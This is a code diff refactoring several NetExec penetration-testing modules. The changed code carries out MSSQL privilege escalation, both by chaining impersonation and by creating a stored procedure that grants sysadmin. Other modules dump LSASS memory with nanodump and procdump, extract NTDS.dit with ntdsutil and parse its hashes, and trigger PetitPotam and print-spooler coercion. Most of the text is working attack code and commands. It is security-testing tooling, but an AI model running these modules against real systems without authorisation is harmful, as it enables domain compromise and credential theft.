user (User): The user to browse the path for.
Returns
-------
User: The user that can be impersonated.
"""
if initial_user.is_sysadmin:
self.context.log.success(f"{initial_user.username} is sysadmin")
return initial_user
@ -113,7 +131,7 @@ class NXCModule:
return initial_user
for grantor in user.grantors:
if grantor.is_sysadmin:
self.context.log.success(f"{user.username} can impersonate: " f"{grantor.username} (sysadmin)")
self.context.log.success(f"{user.username} can impersonate: {grantor.username} (sysadmin)")
return grantor
elif grantor.dbowner:
self.context.log.success(f"{user.username} can impersonate: {grantor.username} (which can privesc via dbowner)")
@ -123,23 +141,50 @@ class NXCModule:
return self.browse_path(context, initial_user, grantor)
def query_and_get_output(self, query):
# try:
results = self.mssql_conn.sql_query(query)
# self.mssql_conn.printRows()
# query_output = self.mssql_conn._MSSQL__rowsPrinter.getMessage()
# query_output = results.strip("\n-")
return results
# except Exception as e:
# return False
return self.mssql_conn.sql_query(query)
def sql_exec_as(self, grantors: list) -> str:
exec_as = []
for grantor in grantors:
exec_as.append(f"EXECUTE AS LOGIN = '{grantor}';")
"""
Generates an SQL statement to execute a command using the specified list of grantors.
Parameters
----------
grantors (list): A list of grantors, each representing a login.
Returns
-------
str: The SQL statement to execute the command using the grantors.
"""
exec_as = [f"EXECUTE AS LOGIN = '{grantor}';" for grantor in grantors]
return "".join(exec_as)
def perform_impersonation_check(self, user: User, grantors=[]):
def perform_impersonation_check(self, user: User, grantors=None):
"""
Performs an impersonation check for a given user.
Args:
----
user (User): The user for whom the impersonation check is being performed.
grantors (list): A list of grantors. Default is an empty list.
Returns:
-------
None
Description:
This function checks if the user has the necessary privileges to perform impersonation.
If the user has the necessary privileges, the function returns without performing any further checks.
If the user does not have the necessary privileges, the function retrieves a list of grantors
who can impersonate the user and performs the same impersonation check on each grantor recursively.
If a new grantor is found, it is added to the list of grantors and the impersonation check is performed on it.
Example Usage:
perform_impersonation_check(user, grantors=['admin', 'manager'])
"""
# build EXECUTE AS if any grantors is specified
if grantors is None:
grantors = []
exec_as = self.sql_exec_as(grantors)
# do we have any privilege ?
if self.update_priv(user, exec_as):
@ -160,6 +205,18 @@ class NXCModule:
self.perform_impersonation_check(new_user, grantors)
def update_priv(self, user: User, exec_as=""):
"""
Update the privileges of a user.
Args:
----
user (User): The user whose privileges need to be updated.
exec_as (str): The username of the user executing the function.
Returns:
-------
bool: True if the user is an admin user and their privileges are updated successfully, False otherwise.
"""
if self.is_admin_user(user.username):
user.is_sysadmin = True
return True
@ -167,96 +224,176 @@ class NXCModule:
return user.dbowner
def get_current_username(self) -> str:
"""
Retrieves the current username.
:param self: The instance of the class.
:return: The current username as a string.
:rtype: str
"""
return self.query_and_get_output("select SUSER_NAME()")[0][""]
def is_admin(self, exec_as="") -> bool:
"""
Checks if the user is an admin.
Args:
----
exec_as (str): The user to execute the query as. Default is an empty string.
Returns:
-------
bool: True if the user is an admin, False otherwise.
"""
res = self.query_and_get_output(exec_as + "SELECT IS_SRVROLEMEMBER('sysadmin')")
self.revert_context(exec_as)
is_admin = res[0][""]
self.context.log.debug(f"IsAdmin Result: {is_admin}")
if is_admin:
self.context.log.debug(f"User is admin!")
self.context.log.debug("User is admin!")
self.admin_privs = True
return True
else:
return False
def get_databases(self, exec_as="") -> list:
"""
Retrieves a list of databases from the SQL server.
Args:
----
exec_as (str, optional): The username to execute the query as. Defaults to "".
Returns:
-------
list: A list of database names.
"""
res = self.query_and_get_output(exec_as + "SELECT name FROM master..sysdatabases")
self.revert_context(exec_as)
self.context.log.debug(f"Response: {res}")
self.context.log.debug(f"Response Type: {type(res)}")
tables = [table["name"] for table in res]
return tables
return [table["name"] for table in res]
def is_dbowner(self, database, exec_as="") -> bool:
query = f"""select rp.name as database_role
from [{database}].sys.database_role_members drm
join [{database}].sys.database_principals rp
on (drm.role_principal_id = rp.principal_id)
join [{database}].sys.database_principals mp
on (drm.member_principal_id = mp.principal_id)
where rp.name = 'db_owner' and mp.name = SYSTEM_USER"""
self.context.log.debug(f"Query: {query}")
def is_db_owner(self, database, exec_as="") -> bool:
"""
Check if the specified database is owned by the current user.
Args:
----
database (str): The name of the database to check.
exec_as (str, optional): The name of the user to execute the query as. Defaults to "".
Returns:
-------
bool: True if the database is owned by the current user, False otherwise.
"""
query = f"""
SELECT rp.name AS database_role
FROM [{database}].sys.database_role_members drm
JOIN [{database}].sys.database_principals rp ON (drm.role_principal_id = rp.principal_id)
JOIN [{database}].sys.database_principals mp ON (drm.member_principal_id = mp.principal_id)
WHERE rp.name = 'db_owner' AND mp.name = SYSTEM_USER
"""
res = self.query_and_get_output(exec_as + query)
self.context.log.debug(f"Response: {res}")
self.revert_context(exec_as)
if res:
if "database_role" in res[0] and res[0]["database_role"] == "db_owner":
return True
else:
return False
if res and "database_role" in res[0] and res[0]["database_role"] == "db_owner":
return True
return False
def find_dbowner_priv(self, databases, exec_as="") -> list:
match = []
for database in databases:
if self.is_dbowner(database, exec_as):
match.append(database)
return match
"""
Finds the list of databases for which the specified user is the owner.
def find_trusted_db(self, exec_as="") -> list:
query = """SELECT d.name AS DATABASENAME
FROM sys.server_principals r
INNER JOIN sys.server_role_members m
ON r.principal_id = m.role_principal_id
INNER JOIN sys.server_principals p ON
p.principal_id = m.member_principal_id
inner join sys.databases d
on suser_sname(d.owner_sid) = p.name
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB')
and r.type = 'R' and r.name = N'sysadmin'"""
res = self.query_and_get_output(exec_as + query)
Args:
----
databases (list): A list of database names.
exec_as (str, optional): The user to execute the check as. Defaults to "".
Returns:
-------
list: A list of database names for which the specified user is the owner.
"""
return [database for database in databases if self.is_db_owner(database, exec_as)]
def find_trusted_databases(self, exec_as="") -> list:
"""
Find trusted databases.
:param exec_as: The user under whose context the query should be executed. Defaults to an empty string.
:type exec_as: str
:return: A list of trusted database names.
:rtype: list
"""
query = """
SELECT d.name AS DATABASENAME
FROM sys.server_principals r
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
INNER JOIN sys.server_principals p ON p.principal_id = m.member_principal_id
INNER JOIN sys.databases d ON suser_sname(d.owner_sid) = p.name
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB')
AND r.type = 'R' AND r.name = N'sysadmin'
"""
result = self.query_and_get_output(exec_as + query)
self.revert_context(exec_as)
return res
return result
def check_dbowner_privesc(self, exec_as=""):
"""
Check if a database owner has privilege escalation.
:param exec_as: The user to execute the check as. Defaults to an empty string.
:type exec_as: str
:return: The first trusted database that has a database owner with privilege escalation, or None if no such database is found.
:rtype: str or None
"""
databases = self.get_databases(exec_as)
dbowner = self.find_dbowner_priv(databases, exec_as)
trusted_db = self.find_trusted_db(exec_as)
# return the first match
for db in dbowner:
if db in trusted_db:
dbowner_privileged_databases = self.find_dbowner_priv(databases, exec_as)
trusted_databases = self.find_trusted_databases(exec_as)
for db in dbowner_privileged_databases:
if db in trusted_databases:
return db
return None
def do_dbowner_privesc(self, database, exec_as=""):
# change context if necessary
"""
Executes a series of SQL queries to perform a database owner privilege escalation.
Args:
----
database (str): The name of the database to perform the privilege escalation on.
exec_as (str, optional): The username to execute the queries as. Defaults to "".
Returns:
-------
None
"""
self.query_and_get_output(exec_as)
# use database
self.query_and_get_output(f"use {database};")
query = f"""CREATE PROCEDURE sp_elevate_me
query = """CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
as
begin
EXEC sp_addsrvrolemember '{self.current_username}','sysadmin'
end"""
self.query_and_get_output(query)
self.query_and_get_output("EXEC sp_elevate_me;")
self.query_and_get_output("DROP PROCEDURE sp_elevate_me;")
self.revert_context(exec_as)
def do_impersonation_privesc(self, username, exec_as=""):
"""
Perform an impersonation privilege escalation by changing the context to the specified user and granting them 'sysadmin' role.
:param username: The username of the user to escalate privileges for.
:type username: str
:param exec_as: The username to execute the query as. Defaults to an empty string.
:type exec_as: str, optional
:return: None
:rtype: None
"""
# change context if necessary
self.query_and_get_output(exec_as)
# update our privilege
@ -264,22 +401,45 @@ class NXCModule:
self.revert_context(exec_as)
def get_impersonate_users(self, exec_as="") -> list:
"""
Retrieves a list of users who have the permission to impersonate other users.
Args:
----
exec_as (str, optional): The context in which the query will be executed. Defaults to "".
Returns:
-------
list: A list of user names who have the permission to impersonate other users.
"""
query = """SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name like 'IMPERSONATE%'"""
res = self.query_and_get_output(exec_as + query)
# self.context.log.debug(f"Result: {res}")
self.revert_context(exec_as)
users = [user["name"] for user in res]
return users
return [user["name"] for user in res]
def remove_sysadmin_priv(self) -> bool:
res = self.query_and_get_output(f"EXEC sp_dropsrvrolemember '{self.current_username}', 'sysadmin'")
"""
Remove the sysadmin privilege from the current user.
:return: True if the sysadmin privilege was successfully removed, False otherwise.
:rtype: bool
"""
self.query_and_get_output(f"EXEC sp_dropsrvrolemember '{self.current_username}', 'sysadmin'")
return not self.is_admin()
def is_admin_user(self, username) -> bool:
"""
Check if the given username belongs to an admin user.
:param username: The username to check.
:type username: str
:return: True if the username belongs to an admin user, False otherwise.
:rtype: bool
"""
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
try:
if int(res):
@ -287,8 +447,19 @@ class NXCModule:
return True
else:
return False
except:
except Exception:
return False
def revert_context(self, exec_as):
"""
Reverts the context for the specified user.
Parameters
----------
exec_as (str): The user for whom the context should be reverted.
Returns
-------
None
"""
self.query_and_get_output("REVERT;" * exec_as.count("EXECUTE"))

View File

@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# nanodump module for nxc python3
# author of the module : github.com/mpgn
# nanodump: https://github.com/helpsystems/nanodump
@ -35,7 +33,7 @@ class NXCModule:
self.module_options = module_options
def options(self, context, module_options):
"""
r"""
TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\)
NANO_PATH Path where nano.exe is on your system (default: OS temp directory)
NANO_EXE_NAME Name of the nano executable (default: nano.exe)
@ -113,7 +111,7 @@ class NXCModule:
# apparently SMB exec methods treat the output parameter differently than MSSQL (we use it to display())
# if we don't do this, then SMB doesn't actually return the results of commands, so it appears that the
# execution fails, which it doesn't
display_output = True if self.context.protocol == "smb" else False
display_output = self.context.protocol == "smb"
self.context.log.debug(f"Display Output: {display_output}")
# get LSASS PID via `tasklist`
command = 'tasklist /v /fo csv | findstr /i "lsass"'
@ -124,7 +122,7 @@ class NXCModule:
p = p[0]
if not p or p == "None":
self.context.log.fail(f"Failed to execute command to get LSASS PID")
self.context.log.fail("Failed to execute command to get LSASS PID")
return
pid = p.split(",")[1][1:-1]
@ -138,7 +136,7 @@ class NXCModule:
self.context.log.debug(f"NanoDump Command Result: {p}")
if not p or p == "None":
self.context.log.fail(f"Failed to execute command to execute NanoDump")
self.context.log.fail("Failed to execute command to execute NanoDump")
self.delete_nanodump_binary()
return
@ -154,7 +152,7 @@ class NXCModule:
if dump:
self.context.log.display(f"Copying {nano_log_name} to host")
filename = os.path.join(self.dir_result,f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
if self.context.protocol == "smb":
with open(filename, "wb+") as dump_file:
try:
@ -190,14 +188,13 @@ class NXCModule:
except Exception as e:
self.context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on dir {self.remote_tmp_dir}: {e}")
fh = open(filename, "r+b")
fh.seek(0)
fh.write(b"\x4d\x44\x4d\x50")
fh.seek(4)
fh.write(b"\xa7\x93")
fh.seek(6)
fh.write(b"\x00\x00")
fh.close()
with open(filename, "r+b") as fh: # needs the "r+b", not "rb" like below
fh.seek(0)
fh.write(b"\x4d\x44\x4d\x50")
fh.seek(4)
fh.write(b"\xa7\x93")
fh.seek(6)
fh.write(b"\x00\x00")
with open(filename, "rb") as dump:
try:

View File

@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Credit to https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
# @exploitph @Evi1cg
# module by @mpgn_x64
@ -49,5 +47,5 @@ class NXCModule:
context.log.highlight("")
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/Ridter/noPac")
except OSError as e:
except OSError:
context.log.debug(f"Error connecting to Kerberos (port 88) on {connection.host}")

View File

@ -41,14 +41,14 @@ class NXCModule:
self.no_delete = True
def on_admin_login(self, context, connection):
command = "powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full %s%s' q q\"" % (self.tmp_dir, self.dump_location)
context.log.display("Dumping ntds with ntdsutil.exe to %s%s" % (self.tmp_dir, self.dump_location))
command = f"powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full {self.tmp_dir}{self.dump_location}' q q\""
context.log.display(f"Dumping ntds with ntdsutil.exe to {self.tmp_dir}{self.dump_location}")
context.log.highlight("Dumping the NTDS, this could take a while so go grab a redbull...")
context.log.debug("Executing command {}".format(command))
context.log.debug(f"Executing command {command}")
p = connection.execute(command, True)
context.log.debug(p)
if "success" in p:
context.log.success("NTDS.dit dumped to %s%s" % (self.tmp_dir, self.dump_location))
context.log.success(f"NTDS.dit dumped to {self.tmp_dir}{self.dump_location}")
else:
context.log.fail("Error while dumping NTDS")
return
@ -57,53 +57,56 @@ class NXCModule:
os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True)
os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True)
context.log.display("Copying NTDS dump to %s" % self.dir_result)
context.log.display(f"Copying NTDS dump to {self.dir_result}")
context.log.debug("Copy ntds.dit to host")
with open(os.path.join(self.dir_result, "Active Directory", "ntds.dit"), "wb+") as dump_file:
try:
connection.conn.getFile(
self.share,
self.tmp_share + self.dump_location + "\\" + "Active Directory\\ntds.dit",
f"{self.tmp_share}{self.dump_location}\\Active Directory\\ntds.dit",
dump_file.write,
)
context.log.debug("Copied ntds.dit file")
except Exception as e:
context.log.fail("Error while get ntds.dit file: {}".format(e))
context.log.fail(f"Error while get ntds.dit file: {e}")
context.log.debug("Copy SYSTEM to host")
with open(os.path.join(self.dir_result, "registry", "SYSTEM"), "wb+") as dump_file:
try:
connection.conn.getFile(
self.share,
self.tmp_share + self.dump_location + "\\" + "registry\\SYSTEM",
f"{self.tmp_share}{self.dump_location}\\registry\\SYSTEM",
dump_file.write,
)
context.log.debug("Copied SYSTEM file")
except Exception as e:
context.log.fail("Error while get SYSTEM file: {}".format(e))
context.log.fail(f"Error while get SYSTEM file: {e}")
context.log.debug("Copy SECURITY to host")
with open(os.path.join(self.dir_result, "registry", "SECURITY"), "wb+") as dump_file:
try:
connection.conn.getFile(
self.share,
self.tmp_share + self.dump_location + "\\" + "registry\\SECURITY",
f"{self.tmp_share}{self.dump_location}\\registry\\SECURITY",
dump_file.write,
)
context.log.debug("Copied SECURITY file")
except Exception as e:
context.log.fail("Error while get SECURITY file: {}".format(e))
context.log.display("NTDS dump copied to %s" % self.dir_result)
try:
command = "rmdir /s /q %s%s" % (self.tmp_dir, self.dump_location)
p = connection.execute(command, True)
context.log.success("Deleted %s%s remote dump directory" % (self.tmp_dir, self.dump_location))
except Exception as e:
context.log.fail("Error deleting {} remote directory on share {}: {}".format(self.dump_location, self.share, e))
context.log.fail(f"Error while get SECURITY file: {e}")
localOperations = LocalOperations("%s/registry/SYSTEM" % self.dir_result)
bootKey = localOperations.getBootKey()
noLMHash = localOperations.checkNoLMHashPolicy()
context.log.display(f"NTDS dump copied to {self.dir_result}")
try:
command = f"rmdir /s /q {self.tmp_dir}{self.dump_location}"
p = connection.execute(command, True)
context.log.success(f"Deleted {self.tmp_dir}{self.dump_location} remote dump directory")
except Exception as e:
context.log.fail(f"Error deleting {self.dump_location} remote directory on share {self.share}: {e}")
local_operations = LocalOperations(f"{self.dir_result}/registry/SYSTEM")
boot_key = local_operations.getBootKey()
no_lm_hash = local_operations.checkNoLMHashPolicy()
host_id = context.db.get_hosts(filter_term=connection.host)[0][0]
@ -118,20 +121,20 @@ class NXCModule:
context.log.highlight(ntds_hash)
if ntds_hash.find("$") == -1:
if ntds_hash.find("\\") != -1:
domain, hash = ntds_hash.split("\\")
domain, clean_hash = ntds_hash.split("\\")
else:
domain = connection.domain
hash = ntds_hash
clean_hash = ntds_hash
try:
username, _, lmhash, nthash, _, _, _ = hash.split(":")
parsed_hash = ":".join((lmhash, nthash))
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
parsed_hash = f"{lmhash}:{nthash}"
if validate_ntlm(parsed_hash):
context.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
add_ntds_hash.added_to_db += 1
return
raise
except:
except Exception:
context.log.debug("Dumped hash is not NTLM, not adding to db for now ;)")
else:
context.log.debug("Dumped hash is a computer account, not adding to db")
@ -140,11 +143,11 @@ class NXCModule:
add_ntds_hash.added_to_db = 0
NTDS = NTDSHashes(
"%s/Active Directory/ntds.dit" % self.dir_result,
bootKey,
f"{self.dir_result}/Active Directory/ntds.dit",
boot_key,
isRemote=False,
history=False,
noLMHash=noLMHash,
noLMHash=no_lm_hash,
remoteOps=None,
useVSSMethod=True,
justNTLM=True,
@ -159,22 +162,17 @@ class NXCModule:
try:
context.log.success("Dumping the NTDS, this could take a while so go grab a redbull...")
NTDS.dump()
context.log.success(
"Dumped {} NTDS hashes to {} of which {} were added to the database".format(
highlight(add_ntds_hash.ntds_hashes),
connection.output_filename + ".ntds",
highlight(add_ntds_hash.added_to_db),
)
)
context.log.success(f"Dumped {highlight(add_ntds_hash.ntds_hashes)} NTDS hashes to {connection.output_filename}.ntds of which {highlight(add_ntds_hash.added_to_db)} were added to the database")
context.log.display("To extract only enabled accounts from the output file, run the following command: ")
context.log.display("grep -iv disabled {} | cut -d ':' -f1".format(connection.output_filename + ".ntds"))
context.log.display(f"grep -iv disabled {connection.output_filename}.ntds | cut -d ':' -f1")
except Exception as e:
context.log.fail(e)
NTDS.finish()
if self.no_delete:
context.log.display("Raw NTDS dump copied to %s, parse it with:" % self.dir_result)
context.log.display('secretsdump.py -system %s/registry/SYSTEM -security %s/registry/SECURITY -ntds "%s/Active Directory/ntds.dit" LOCAL' % (self.dir_result, self.dir_result, self.dir_result))
context.log.display(f"Raw NTDS dump copied to {self.dir_result}, parse it with:")
context.log.display(f"secretsdump.py -system '{self.dir_result}/registry/SYSTEM' -security '{self.dir_result}/registry/SECURITY' -ntds '{self.dir_result}/Active Directory/ntds.dit' LOCAL")
else:
shutil.rmtree(self.dir_result)

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from impacket.dcerpc.v5.rrp import DCERPCSessionError
@ -43,8 +40,8 @@ class NXCModule:
key_handle,
"lmcompatibilitylevel\x00",
)
except rrp.DCERPCSessionError as e:
context.log.debug(f"Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set")
except rrp.DCERPCSessionError:
context.log.debug("Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set")
if rtype and data and int(data) in [0, 1, 2]:
context.log.highlight(self.output.format(connection.conn.getRemoteHost(), data))

View File

@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# From https://github.com/topotam/PetitPotam
# All credit to @topotam
# Module by @mpgn_x64
@ -67,8 +65,8 @@ class NXCModule:
host.signing,
petitpotam=True,
)
except Exception as e:
context.log.debug(f"Error updating petitpotam status in database")
except Exception:
context.log.debug("Error updating petitpotam status in database")
class DCERPCSessionError(DCERPCException):
@ -80,13 +78,9 @@ class DCERPCSessionError(DCERPCException):
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return "EFSR SessionError: code: 0x%x - %s - %s" % (
self.error_code,
error_msg_short,
error_msg_verbose,
)
return f"EFSR SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return "EFSR SessionError: unknown error code: 0x%x" % self.error_code
return f"EFSR SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
@ -248,18 +242,18 @@ def coerce(
rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host)
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
context.log.info("[-] Connecting to %s" % binding_params[pipe]["stringBinding"])
context.log.info(f"[-] Connecting to {binding_params[pipe]['stringBinding']}")
try:
dce.connect()
except Exception as e:
context.log.debug("Something went wrong, check error status => %s" % str(e))
context.log.debug(f"Something went wrong, check error status => {e!s}")
sys.exit()
context.log.info("[+] Connected!")
context.log.info("[+] Binding to %s" % binding_params[pipe]["MSRPC_UUID_EFSR"][0])
context.log.info(f"[+] Binding to {binding_params[pipe]['MSRPC_UUID_EFSR'][0]}")
try:
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_EFSR"]))
except Exception as e:
context.log.debug("Something went wrong, check error status => %s" % str(e))
context.log.debug(f"Something went wrong, check error status => {e!s}")
sys.exit()
context.log.info("[+] Successfully bound!")
return dce
@ -268,9 +262,9 @@ def coerce(
def efs_rpc_open_file_raw(dce, listener, context=None):
try:
request = EfsRpcOpenFileRaw()
request["fileName"] = "\\\\%s\\test\\Settings.ini\x00" % listener
request["fileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
request["Flag"] = 0
resp = dce.request(request)
dce.request(request)
except Exception as e:
if str(e).find("ERROR_BAD_NETPATH") >= 0:
@ -283,14 +277,14 @@ def efs_rpc_open_file_raw(dce, listener, context=None):
context.log.info("[-] Sending EfsRpcEncryptFileSrv!")
try:
request = EfsRpcEncryptFileSrv()
request["FileName"] = "\\\\%s\\test\\Settings.ini\x00" % listener
resp = dce.request(request)
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
dce.request(request)
except Exception as e:
if str(e).find("ERROR_BAD_NETPATH") >= 0:
context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
context.log.info("[+] Attack worked!")
return True
else:
context.log.debug("Something went wrong, check error status => %s" % str(e))
context.log.debug(f"Something went wrong, check error status => {e!s}")
else:
context.log.debug("Something went wrong, check error status => %s" % str(e))
context.log.debug(f"Something went wrong, check error status => {e!s}")

File diff suppressed because one or more lines are too long

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
from impacket import system_errors
from impacket.dcerpc.v5.rpcrt import DCERPCException
@ -35,9 +32,7 @@ class NXCModule:
self.port = None
def options(self, context, module_options):
"""
PORT Port to check (defaults to 445)
"""
"""PORT Port to check (defaults to 445)"""
self.port = 445
if "PORT" in module_options:
self.port = int(module_options["PORT"])
@ -46,7 +41,7 @@ class NXCModule:
# Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % connection.host
context.log.info("Binding to %s" % (repr(stringbinding)))
context.log.info(f"Binding to {stringbinding!r}")
rpctransport = transport.DCERPCTransportFactory(stringbinding)
@ -71,7 +66,7 @@ class NXCModule:
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
dce.bind(rprn.MSRPC_UUID_RPRN)
except Exception as e:
context.log.fail("Failed to bind: %s" % e)
context.log.fail(f"Failed to bind: {e}")
sys.exit(1)
flags = APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | APD_INSTALL_WARNED_DRIVER
@ -119,13 +114,9 @@ class DCERPCSessionError(DCERPCException):
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return "RPRN SessionError: code: 0x%x - %s - %s" % (
self.error_code,
error_msg_short,
error_msg_verbose,
)
return f"RPRN SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return "RPRN SessionError: unknown error code: 0x%x" % self.error_code
return f"RPRN SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
@ -191,26 +182,26 @@ class DRIVER_INFO_2_BLOB(Structure):
def fromString(self, data, offset=0):
Structure.fromString(self, data)
name = data[self["NameOffset"] + offset :].decode("utf-16-le")
name = data[self["NameOffset"] + offset:].decode("utf-16-le")
name_len = name.find("\0")
self["Name"] = checkNullString(name[:name_len])
self["ConfigFile"] = data[self["ConfigFileOffset"] + offset : self["DataFileOffset"] + offset].decode("utf-16-le")
self["DataFile"] = data[self["DataFileOffset"] + offset : self["DriverPathOffset"] + offset].decode("utf-16-le")
self["DriverPath"] = data[self["DriverPathOffset"] + offset : self["EnvironmentOffset"] + offset].decode("utf-16-le")
self["Environment"] = data[self["EnvironmentOffset"] + offset : self["NameOffset"] + offset].decode("utf-16-le")
self["ConfigFile"] = data[self["ConfigFileOffset"] + offset: self["DataFileOffset"] + offset].decode("utf-16-le")
self["DataFile"] = data[self["DataFileOffset"] + offset: self["DriverPathOffset"] + offset].decode("utf-16-le")
self["DriverPath"] = data[self["DriverPathOffset"] + offset: self["EnvironmentOffset"] + offset].decode("utf-16-le")
self["Environment"] = data[self["EnvironmentOffset"] + offset: self["NameOffset"] + offset].decode("utf-16-le")
class DRIVER_INFO_2_ARRAY(Structure):
def __init__(self, data=None, pcReturned=None):
Structure.__init__(self, data=data)
self["drivers"] = list()
self["drivers"] = []
remaining = data
if data is not None:
for _ in range(pcReturned):
attr = DRIVER_INFO_2_BLOB(remaining)
self["drivers"].append(attr)
remaining = remaining[len(attr) :]
remaining = remaining[len(attr):]
class DRIVER_INFO_UNION(NDRUNION):

View File

@ -1,7 +1,4 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# prdocdump module for nxc python3
# author: github.com/mpgn
# thanks to pixis (@HackAndDo) for making it pretty l33t :)
# v0.4
@ -20,13 +17,12 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
"""
r"""
TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\)
PROCDUMP_PATH Path where procdump.exe is on your system (default: /tmp/), if changed embeded version will not be used
PROCDUMP_EXE_NAME Name of the procdump executable (default: procdump.exe), if changed embeded version will not be used
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = PROCDUMP_PATH)
"""
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
@ -53,25 +49,25 @@ class NXCModule:
self.dir_result = module_options["DIR_RESULT"]
def on_admin_login(self, context, connection):
if self.useembeded == True:
if self.useembeded is True:
with open(self.procdump_path + self.procdump, "wb") as procdump:
procdump.write(self.procdump_embeded)
context.log.display("Copy {} to {}".format(self.procdump_path + self.procdump, self.tmp_dir))
context.log.display(f"Copy {self.procdump_path + self.procdump} to {self.tmp_dir}")
with open(self.procdump_path + self.procdump, "rb") as procdump:
try:
connection.conn.putFile(self.share, self.tmp_share + self.procdump, procdump.read)
context.log.success("Created file {} on the \\\\{}{}".format(self.procdump, self.share, self.tmp_share))
context.log.success(f"Created file {self.procdump} on the \\\\{self.share}{self.tmp_share}")
except Exception as e:
context.log.fail(f"Error writing file to share {self.share}: {e}")
# get pid lsass
command = 'tasklist /v /fo csv | findstr /i "lsass"'
context.log.display("Getting lsass PID {}".format(command))
context.log.display(f"Getting lsass PID {command}")
p = connection.execute(command, True)
pid = p.split(",")[1][1:-1]
command = self.tmp_dir + self.procdump + " -accepteula -ma " + pid + " " + self.tmp_dir + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.dmp"
context.log.display("Executing command {}".format(command))
context.log.display(f"Executing command {command}")
p = connection.execute(command, True)
context.log.debug(p)
dump = False
@ -91,30 +87,29 @@ class NXCModule:
context.log.display("Error getting the lsass.dmp file name")
sys.exit(1)
context.log.display("Copy {} to host".format(machine_name))
context.log.display(f"Copy {machine_name} to host")
with open(self.dir_result + machine_name, "wb+") as dump_file:
try:
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
context.log.success("Dumpfile of lsass.exe was transferred to {}".format(self.dir_result + machine_name))
context.log.success(f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}")
except Exception as e:
context.log.fail("Error while get file: {}".format(e))
context.log.fail(f"Error while get file: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.procdump)
context.log.success("Deleted procdump file on the {} share".format(self.share))
context.log.success(f"Deleted procdump file on the {self.share} share")
except Exception as e:
context.log.fail("Error deleting procdump file on share {}: {}".format(self.share, e))
context.log.fail(f"Error deleting procdump file on share {self.share}: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
context.log.success("Deleted lsass.dmp file on the {} share".format(self.share))
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
except Exception as e:
context.log.fail("Error deleting lsass.dmp file on share {}: {}".format(self.share, e))
context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
with open(self.dir_result + machine_name, "rb") as dump:
try:
credentials = []
credz_bh = []
try:
pypy_parse = pypykatz.parse_minidump_external(dump)

View File

@ -1,25 +1,21 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
from math import fabs
import re
class NXCModule:
'''
Created by fplazar and wanetty
Module by @gm_eduard and @ferranplaza
Based on: https://github.com/juliourena/CrackMapExec/blob/master/cme/modules/get_description.py
'''
"""
Created by fplazar and wanetty
Module by @gm_eduard and @ferranplaza
